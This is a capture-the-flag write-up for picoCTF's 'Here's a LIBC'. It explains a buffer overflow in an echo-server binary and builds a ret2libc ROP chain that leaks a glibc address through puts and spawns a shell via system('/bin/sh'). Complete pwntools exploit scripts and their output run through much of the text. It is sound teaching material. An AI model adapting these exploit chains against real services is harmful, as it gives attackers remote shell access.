Here's a LIBC
8 minutes to read
We are given a 64-bit binary called vuln
and a libc.so.6
file as external library:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./'
If we run the binary we will get a segmentation fault:
$ chmod +x vuln
$ ./vuln
zsh: segmentation fault (core dumped) ./vuln
It is configured to use Glibc at the current directory:
$ ldd vuln
linux-vdso.so.1 (0x00007ffdc3195000)
libc.so.6 => ./libc.so.6 (0x00007ff93c204000)
/lib64/ld-linux-x86-64.so.2 (0x00007ff93c5f7000)
We will use pwninit
to patch the binary so that it works:
$ pwninit --libc libc.so.6 --no-template --bin vuln
bin: vuln
libc: libc.so.6
fetching linker
https://launchpad.net/ubuntu/+archive/primary/+files//libc6_2.27-3ubuntu1.2_amd64.deb
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.27-3ubuntu1.2_amd64.deb
setting ./ld-2.27.so executable
copying vuln to vuln_patched
running patchelf on vuln_patched
And now it works:
$ ./vuln_patched
WeLcOmE To mY EcHo sErVeR!
asdf
AsDf
The program is just taking user input and transform each letter to alternative uppercase and lowercase. Let’s test if it is vulnerable to Buffer Overflow:
$ python3 -c 'print("A" * 300)' | ./vuln_patched
WeLcOmE To mY EcHo sErVeR!
AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd
zsh: done python3 -c 'print("A" * 300)' |
zsh: segmentation fault (core dumped) ./vuln_patched
And it is vulnerable because the program crashes, which means that the return address has been modified. We can use GDB to obtain the exact amount of characters needed to modify the return address:
$ gdb -q vuln_patched
Reading symbols from vuln_patched...
(No debugging symbols found in vuln_patched)
gef➤ pattern create 300
[+] Generating a pattern of 300 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaa
aauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./vuln_patched
WeLcOmE To mY EcHo sErVeR!
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaa
aauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
AaAaAaAaBaAaAaAaCaAaAaAaDaAaAaAaEaAaAaAaFaAaAaAaGaAaAaAaHaAaAaAaIaAaAaAaJaAaAaAaKaAaAaAaLaAaAaAaMaAaaaaanaaaaaaaoaaaaaaad
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400770 in do_stuff ()
gef➤ pattern offset $rsp
[+] Searching for '$rsp'
[+] Found at offset 136 (little-endian search) likely
[+] Found at offset 129 (big-endian search)
We see that we need 136 characters before modifying the $rsp
register (where the return address is saved before a function call).
Since the binary has NX protection, we must use Return Oriented Programming (ROP) to exploit the vulnerability. Moreover, we will need to bypass ASLR because it is very likely that it will be enabled on the remote instance.
In order to bypass ASLR, we need to leak an address within Glibc at runtime, so that we can compute the base address of the library and calculate the real address of system
and "/bin/sh"
(this technique is called ret2libc).
Since we have a Buffer Overflow, we control the next address that will be executed. Hence, we can call a function like puts
to print the address of another function. To call puts
, we need to use the address of puts
at the Procedure Linkage Table (PLT). This function prints the first argument as a string (so it prints the contents of a given address until a null byte). Therefore, the argument for puts
will be the address of a function inside the Global Offset Table (GOT), which contains the real address of the given function if it has already been resolved.
Because of the calling conventions for 64-bit binaries, we need to put the first argument in $rdi
register before calling a function.
In order to do that, we will use gadgets. These are sequences of assembly instructions that end in ret
, so that whenever they are executed, we return to the stack, where we have the next gadget or function call. That’s why it is called ROP, because we are executing code from specific addresses found on the binary and returning to the next one. The sequence of gadgets employed for the exploitation is usually known as ROP chain and it allows us to bypass NX.
Let’s find all the information needed for exploitation:
$ objdump -d vuln | grep puts
0000000000400540 <puts@plt>:
400540: ff 25 d2 0a 20 00 jmpq *0x200ad2(%rip) # 601018 <puts@GLIBC_2.2.5>
400769: e8 d2 fd ff ff callq 400540 <puts@plt>
400891: e8 aa fc ff ff callq 400540 <puts@plt>
Here we have puts
at PLT (0x400540
) and puts
at GOT (0x601018
). The GOT address for puts
can also be obtained with readelf
and with another flag of objdump
:
$ objdump -R vuln | grep puts
0000000000601018 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
$ readelf -r vuln | grep puts
000000601018 000100000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
Now we need to find a gadget to put the address of puts
at the GOT in $rdi
. One useful gadget will be pop rdi; ret
, which takes a value from the stack and stores it in $rdi
. Let’s search it using ROPgadget
:
$ ROPgadget --binary vuln | grep 'pop rdi ; ret'
0x0000000000400913 : pop rdi ; ret
One last thing is the address of main
. This is needed for the last function to call in the ROP chain, so that we restart the program without closing the process:
$ readelf -s vuln | grep main$
63: 0000000000400771 305 FUNC GLOBAL DEFAULT 13 main
We can create this Python script to exploit the binary:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('vuln_patched')
glibc = ELF('libc.so.6', checksec=False)
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1], int(sys.argv[2])
return remote(host, port)
def main():
p = get_process()
offset = 136
junk = b'A' * offset
pop_rdi_ret = 0x400913
puts_got = 0x601018
puts_plt = 0x400540
main_addr = 0x400771
payload = junk
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
p.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!\n', payload)
p.recvline()
p.interactive()
if __name__ == '__main__':
main()
If we run it, we will get the leaked puts
address at runtime and also main
is executed again:
$ python3 solve.py
[*] './vuln_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Starting local process './vuln_patched': pid 143772
[*] Switching to interactive mode
0\x1a\x90\xa6\x7f
WeLcOmE To mY EcHo sErVeR!
$
In order to compute the base address of Glibc at runtime, we need to substract the offset of puts
inside Glibc to its address at runtime. The offset for puts
is 0x80a30
:
$ readelf -s libc.so.6 | grep ' puts$'
7481: 0000000000080a30 512 FUNC WEAK DEFAULT 13 puts
We can update the exploit to show that information:
puts_addr = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Leaked puts() address: {hex(puts_addr)}')
puts_offset = 0x80a30
glibc_base_addr = puts_addr - puts_offset
log.info(f'Glibc base address: {hex(glibc_base_addr)}')
And now we show the information when the exploit is executed:
$ python3 solve.py
[*] './vuln_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Starting local process './vuln_patched': pid 148874
[*] Leaked puts() address: 0x7fa62ed48a30
[*] Glibc base address: 0x7fa62ecc8000
[*] Switching to interactive mode
WeLcOmE To mY EcHo sErVeR!
$
This is useful because if the base address of Glibc does not end in 000
in hexadecimal, it is likely that something is not working as expected. The randomization process of ASLR usually generates numbers that end in 000
, so it is also a sanity check during exploitation.
Now it is time to call system
using "/bin/sh"
as argument (again, we need to use pop rdi; ret
as gadget to set the pointer to "/bin/sh"
as an argument for system
).
The needed information is here:
$ readelf -s libc.so.6 | grep ' system$'
6032: 000000000004f4e0 45 FUNC WEAK DEFAULT 13 system
$ strings -atx libc.so.6 | grep /bin/sh
1b40fa /bin/sh
Now we continue with a second ROP chain to spawn a shell:
system_offset = 0x4f4e0
bin_sh_offset = 0x1b40fa
system_addr = glibc_base_addr + system_offset
bin_sh_addr = glibc_base_addr + bin_sh_offset
payload = junk
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
p.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!\n', payload)
p.recvline()
p.interactive()
But if we run it, we get don’t get a shell…
$ python3 solve.py
[*] './vuln_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Starting local process './vuln_patched': pid 157202
[*] Leaked puts() address: 0x7f394d102a30
[*] Glibc base address: 0x7f394d082000
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
This happens because of stack alignment. At the moment of calling system
, the stack is not aligned and it crashes. The solution is to put a simple ret
gadget before calling system
.
Since we have already pop rdi; ret
at 0x400913
, we know that ret
will be at 0x400914
(one unit more). We could have used ROPgadget
as well.
payload = junk
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(pop_rdi_ret + 1)
payload += p64(system_addr)
p.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!\n', payload)
p.recvline()
p.interactive()
Now we have a shell locally:
$ python3 solve.py
[*] './vuln_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Starting local process './vuln_patched': pid 174597
[*] Leaked puts() address: 0x7f191fcada30
[*] Glibc base address: 0x7f191fc2d000
[*] Switching to interactive mode
$ ls
ld-2.27.so libc.so.6 Makefile solve.py vuln vuln_patched
Let’s run it on the remote instance and get the flag:
$ python3 solve.py mercury.picoctf.net 24159
[*] './vuln_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Opening connection to mercury.picoctf.net on port 24159: Done
[*] Leaked puts() address: 0x7f9f791eaa30
[*] Glibc base address: 0x7f9f7916a000
[*] Switching to interactive mode
$ ls
flag.txt
libc.so.6
vuln
vuln.c
xinet_startup.sh
$ cat flag.txt
picoCTF{1_<3_sm4sh_st4cking_cf205091ad15ab6d}
Additionally, we can write the exploit using pwntools
features:
#!/usr/bin/env python3
from pwn import context, ELF, log, p64, remote, ROP, sys, u64
context.binary = elf = ELF('vuln_patched')
glibc = ELF('libc.so.6', checksec=False)
rop = ROP(elf)
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1], int(sys.argv[2])
return remote(host, port)
def main():
p = get_process()
offset = 136
junk = b'A' * offset
payload = junk
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(elf.got.puts)
payload += p64(elf.plt.puts)
payload += p64(elf.symbols.main)
p.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!\n', payload)
p.recvline()
puts_addr = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Leaked puts() address: {hex(puts_addr)}')
glibc.address = puts_addr - glibc.symbols.puts
log.info(f'Glibc base address: {hex(glibc.address)}')
payload = junk
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(next(glibc.search(b'/bin/sh')))
payload += p64(rop.find_gadget(['ret'])[0])
payload += p64(glibc.symbols.system)
p.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!\n', payload)
p.recvline()
p.interactive()
if __name__ == '__main__':
main()